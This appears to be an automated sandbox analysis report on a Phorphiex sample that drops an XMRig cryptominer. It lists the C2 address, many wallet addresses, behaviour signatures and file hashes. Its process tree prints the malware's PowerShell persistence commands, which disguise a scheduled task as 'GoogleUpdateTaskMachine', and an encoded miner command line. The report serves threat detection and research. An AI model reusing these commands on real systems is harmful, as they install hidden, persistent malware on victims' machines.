Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/01/2023, 12:21

General

  • Target
    file.exe
  • Size 74KB
  • Sample230125-pjbl2aga23
  • SHA256 62657e8757de34719b452195502d0c76f960f2eb566e725bbd1f6772d14bde74
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://185.215.113.66/

Wallets
  • 1Gpu5QiBqsquu71AGqHwb4Y68iwnkdGH1k

  • 3PPJU1omRSTwxDbbfVyxh9Mm8WkiMGZviMh

  • 37AcEVDyoPyUJUKNM3mM1UxNNvKgN6Abn5

  • qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

  • Xj6orHUgmtZtPb2wGSTX2reQZJ89ZeeYYG

  • DRyZQqRX998DYdf7zGdTCShGcRBbxjUAbF

  • 0x25229D09B0048F23e60c010C8eE1ae65C727e973

  • LhoapQ1TFjG2Fvbwn5WbM2wYcwisKRVz7x

  • r3j2xjQLmVa6Cg3cHZLqLNVja1x6g1AtNL

  • TVTrpva4J2g8SENebPar4YnfnCqwUeiX4a

  • t1MrdY4n3DBL3uip5Pq6tqx4doYpihJJG68

  • AXUqtUXyQmU8buqL5ehCLuLLHhhFrREXuw

  • bitcoincash:qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

  • 48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

  • GDX4NDGHA5WKQLOI65PKPZRHSN6ZAUBRHA7BL44O5IOVMMZFZISMHTUD

  • bnb1zm5y3pns0ertprnvdyulz63tenlp9kc4m78v0m

  • bc1qdk0fquc7ug2zn7zpdyx4kasdy34t00c5r2xdup

Signatures

  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2556
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        2⤵
        • Adds Run key to start application
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\syswsvdrv.exe
          C:\Windows\syswsvdrv.exe
          3⤵
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Suspicious use of WriteProcessMemory
          PID:4844
          • C:\Users\Admin\AppData\Local\Temp\1958617940.exe
            C:\Users\Admin\AppData\Local\Temp\1958617940.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2412
            • C:\Users\Admin\AppData\Local\Temp\1127928610.exe
              C:\Users\Admin\AppData\Local\Temp\1127928610.exe
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:5116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\Admin\Windows Security\Update\winsvrupd.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
          3⤵
            PID:4184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2944
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1324
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
              PID:3644
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
            2⤵
            • Blocklisted process makes network request
            PID:3640
        • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
          "C:\Users\Admin\Windows Security\Update\winsvrupd.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4928

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 29f7c1224e2047e1bc778047972af5ba51d61b1db3aa92f03d0bfe2282dcd12a
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 3eb12f5e02a7aad8764186e1f62d9cebcc8667c854ebf4356fe404f042b84ec1
              • MD5 SHA1 SHA512

              1127928610.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1127928610.exe
              • Size 2.0MB
              • SHA256 84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116
              • MD5 SHA1 SHA512 SSDEEP

              1127928610.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1127928610.exe
              • Size 2.0MB
              • SHA256 84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116
              • MD5 SHA1 SHA512 SSDEEP

              1958617940.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1958617940.exe
              • Size 6KB
              • SHA256 6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228
              • MD5 SHA1 SHA512 SSDEEP

              1958617940.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1958617940.exe
              • Size 6KB
              • SHA256 6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
              • Size 226B
              • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
              • MD5 SHA1 SHA512

              winsvrupd.exe

              • Path C:\Users\Admin\Windows Security\Update\winsvrupd.exe
              • Size 2.0MB
              • SHA256 84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116
              • MD5 SHA1 SHA512 SSDEEP

              syswsvdrv.exe

              • Path C:\Windows\syswsvdrv.exe
              • Size 74KB
              • SHA256 62657e8757de34719b452195502d0c76f960f2eb566e725bbd1f6772d14bde74
              • MD5 SHA1 SHA512 SSDEEP

              syswsvdrv.exe

              • Path C:\Windows\syswsvdrv.exe
              • Size 74KB
              • SHA256 62657e8757de34719b452195502d0c76f960f2eb566e725bbd1f6772d14bde74
              • MD5 SHA1 SHA512 SSDEEP

              memory/1924-141-0x00007FF905350000-0x00007FF905E11000-memory.dmp

              memory/1924-142-0x00007FF905350000-0x00007FF905E11000-memory.dmp

              memory/1924-140-0x0000027232A30000-0x0000027232A52000-memory.dmp

              memory/2944-150-0x00007FF905350000-0x00007FF905E11000-memory.dmp

              memory/2944-152-0x00007FF905350000-0x00007FF905E11000-memory.dmp

              memory/3640-159-0x00007FF6E4A20000-0x00007FF6E5214000-memory.dmp

              memory/3640-158-0x000001C6998C0000-0x000001C699900000-memory.dmp

              memory/3640-156-0x000001C699850000-0x000001C699870000-memory.dmp

              memory/3640-160-0x000001C699920000-0x000001C699940000-memory.dmp

              memory/3640-157-0x00007FF6E4A20000-0x00007FF6E5214000-memory.dmp

              memory/3640-161-0x000001C699920000-0x000001C699940000-memory.dmp

              memory/4504-149-0x00007FF905350000-0x00007FF905E11000-memory.dmp

              memory/4504-146-0x00007FF905350000-0x00007FF905E11000-memory.dmp